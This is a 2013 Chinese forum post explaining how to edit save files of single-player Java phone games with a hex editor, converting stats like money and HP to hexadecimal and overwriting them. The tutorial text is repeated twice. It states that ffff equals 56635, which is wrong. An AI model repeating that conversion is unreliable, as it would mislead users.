用mrp工具改jar存档
2013/4/29 1:07:00 人气 356 怀旧国机论坛现如今,即支持mrp又支持jar的手机越来越多. 不少支持mrp和jar游戏玩家的又在眼红塞班的八门神器和上帝之手了. 现在,我想到了一个用mrp工具改java游戏存档游戏的方法(前提是游戏存档是用十六进制写的,不是的话具体情况具体分析),具体如下:
一:工具:mrp的ehex1.2 rx管理器 现在步入正题 二: 1:安装java游戏(在手机/储存卡的@java(不一定是@java,具体看手机)多了一个n.jar(n=1,2,3,4,5...))
2:进游戏→存个档→记下各种属性(如hp,mp,金钱数等)→退游戏. 3:用rx进@java(@java是隐藏属性的文件夹,有的手机不一定是@java,具体看手机) 4:把你认为最可能是你要改的jar游戏改一个名字,把n.jar(n=1,2,3,4,5...)改为其它的名字,再去java里看看,进那个游戏时是否提示:找不到jar应用文件,如果是这样提示的话,那你就找对游戏了,再把那文件名改回原来的n.jar(n=1,2,3,4,5...) (第4步主要是找相应的jar安装文件,你有其它方法找到,你也可以不用按第4步走)
5:用ehex1.2进系统盘的java文件夹打开n.rs3(n(n=1,2,3,4,5...)是那个游戏的文件名)
6:用“菜单→工具→进制转换”把刚刚的十进制(就是逢10进位)游戏属性改为十六进制(就是逢f进位的表示方法,f是十六进制的最大值,就类似十进制里的9那样).如游戏里十进制的属性:10点hp值,转为十六进制就是“a”
7:用“编辑→查找→十六进制”如,你有500块钱,转换为十六进制就是“1f4”,你就查找01f4.
8:找到后就按“编辑→替换→十六进制”替换为270f(270f就是十进制里的9999,还可以改为ffff,就是56635了)
9:退出ehex,进游戏看看,金钱数就变为9999了. 另: 改数据技巧:如果把某值转换为十六进制后搜索出现多组,可以在游戏中把该数值改变后再修改(如:人物升极后),如果你照样出现多组数据那只能说明你太衰了. 改hp,mp技巧,先把hp/mp加满,再把hp/mp值转换为十六进制,再去查找十六进制,可以找到2组,一组是当前hp/mp值,另一组是总的hp/mp值,把那两组数据都改了,改为你想要的值,如:改为270f就是9999.
改人物属性技巧:
一般游戏的进度都把hp/mp攻击,防御,敏捷...等人物属性写在同一个区域,用上个技巧找到hp/mp后,用眼睛看看其它的人物属性的十六进制表示方法是不是在附近.
注意事项:
如果用进制转换功能转换后出现的是2位(如出现:把45转换后是2d),就在前面加00后搜索,出现的是3位(如500转换后是1f4)就加0后搜索,总之,就是保证十六进制的位数是最小的偶数位数(但如果出现的是a,就在前面加000,保证有4位) 用进制转换功能转换的十六进制的字母是小写,在搜索的时候要改为大写,在替换字母时也要用大写替换!
一:工具:mrp的ehex1.2 rx管理器 现在步入正题 二: 1:安装java游戏(在手机/储存卡的@java(不一定是@java,具体看手机)多了一个n.jar(n=1,2,3,4,5...))
2:进游戏→存个档→记下各种属性(如hp,mp,金钱数等)→退游戏. 3:用rx进@java(@java是隐藏属性的文件夹,有的手机不一定是@java,具体看手机) 4:把你认为最可能是你要改的jar游戏改一个名字,把n.jar(n=1,2,3,4,5...)改为其它的名字,再去java里看看,进那个游戏时是否提示:找不到jar应用文件,如果是这样提示的话,那你就找对游戏了,再把那文件名改回原来的n.jar(n=1,2,3,4,5...) (第4步主要是找相应的jar安装文件,你有其它方法找到,你也可以不用按第4步走)
5:用ehex1.2进系统盘的java文件夹打开n.rs3(n(n=1,2,3,4,5...)是那个游戏的文件名)
6:用“菜单→工具→进制转换”把刚刚的十进制(就是逢10进位)游戏属性改为十六进制(就是逢f进位的表示方法,f是十六进制的最大值,就类似十进制里的9那样).如游戏里十进制的属性:10点hp值,转为十六进制就是“a”
7:用“编辑→查找→十六进制”如,你有500块钱,转换为十六进制就是“1f4”,你就查找01f4.
8:找到后就按“编辑→替换→十六进制”替换为270f(270f就是十进制里的9999,还可以改为ffff,就是56635了)
9:退出ehex,进游戏看看,金钱数就变为9999了. 另: 改数据技巧:如果把某值转换为十六进制后搜索出现多组,可以在游戏中把该数值改变后再修改(如:人物升极后),如果你照样出现多组数据那只能说明你太衰了. 改hp,mp技巧,先把hp/mp加满,再把hp/mp值转换为十六进制,再去查找十六进制,可以找到2组,一组是当前hp/mp值,另一组是总的hp/mp值,把那两组数据都改了,改为你想要的值,如:改为270f就是9999.
改人物属性技巧:
一般游戏的进度都把hp/mp攻击,防御,敏捷...等人物属性写在同一个区域,用上个技巧找到hp/mp后,用眼睛看看其它的人物属性的十六进制表示方法是不是在附近.
注意事项:
如果用进制转换功能转换后出现的是2位(如出现:把45转换后是2d),就在前面加00后搜索,出现的是3位(如500转换后是1f4)就加0后搜索,总之,就是保证十六进制的位数是最小的偶数位数(但如果出现的是a,就在前面加000,保证有4位) 用进制转换功能转换的十六进制的字母是小写,在搜索的时候要改为大写,在替换字母时也要用大写替换!

[iframe=2*2]http://url.cn/FLfTXA[/iframe]
沙发 | ┆◆繁花殿☆┆顶帖组№真爱![]() <br/>道,可道,非常道;名,可名,非常名! |
发表回复